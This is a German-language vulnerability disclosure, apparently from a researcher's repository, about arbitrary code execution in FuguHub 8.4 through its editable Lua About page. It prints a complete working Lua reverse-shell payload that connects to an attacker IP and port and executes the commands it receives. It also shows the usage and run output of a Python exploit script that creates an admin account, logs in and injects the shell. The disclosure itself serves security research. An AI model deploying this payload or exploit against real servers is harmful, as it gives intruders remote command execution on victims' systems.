
Beliebige Codeausführung auf FuguHub 8.4
Fuguhub ist eine Cloud-Media-Server-Software. Die getestete Version war die Debian-Version unter diesem Link:
https://fuguhub.com/articles/FuguHub-for-Debian Ein Problem in Real Time Logic LLC FuguHub v.8.4 ermöglicht es einem lokalen Angreifer, beliebigen Code über ein manipuliertes Skript auf der About-Seite des Administrator-Panels auszuführen.
Screenshot der Download-Seite von FuguHub
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
Die About-Seite ist eine bearbeitbare Lua-Seite, deren Inhalt über das Administrator-Panel geändert werden kann. Die Schwachstelle fügt eine in Lua geschriebene Reverse-Shell in die About-Seite ein, die sowohl für angemeldete als auch für abgemeldete Benutzer sichtbar ist.
Screenshot der About-Seite, die vom FuguHub-Administrator bearbeitet werden kann
FuguHub fordert den Benutzer auf, einen Administrator-Benutzer zu erstellen. Dies kann auch auf dieser Seite erfolgen: http://127.0.0.1/rtl/protected/admin/. Nach der Erstellung kann der Administrator den Server unter diesem Link anpassen: http://127.0.0.1/rtl/protected/admin/customize.lsp. Dies ermöglicht es dem Benutzer, die About-Seite zu bearbeiten, die einen Lua-Code-Abschnitt enthält, in den wir Code injizieren können.
Screenshot des bearbeitbaren lsp-Codes, der serverseitig ausgeführt wird, um die Softwareversion zurückzugeben; dies ist der Einschleusungspunkt für die Reverse-Shell
Hier ist ein Beispiel-Payload:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
Ein alternativer einzeiliger Payload kann auf revshells.com bezogen werden.
Screenshot der Lua-Reverse-Shell von revshells.com
Bei meinen Versuchen, diesen Exploit zu automatisieren, fand ich CVE-2023-24078, das eine Datei-Upload-Schwachstelle in FuguHub aufdeckte. Dieses Exploit wurde mit Python geschrieben und automatisierte die Anmeldung / Kontoerstellung. Ich verwendete den Authentifizierungsteil dieses Exploits und fügte dann Code hinzu, der meinen neu entdeckten Einschleusungspunkt auf der customize.lsp-Seite ausnutzt. Mein Python-Exploit ist im Repo unter exploit.py enthalten.
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...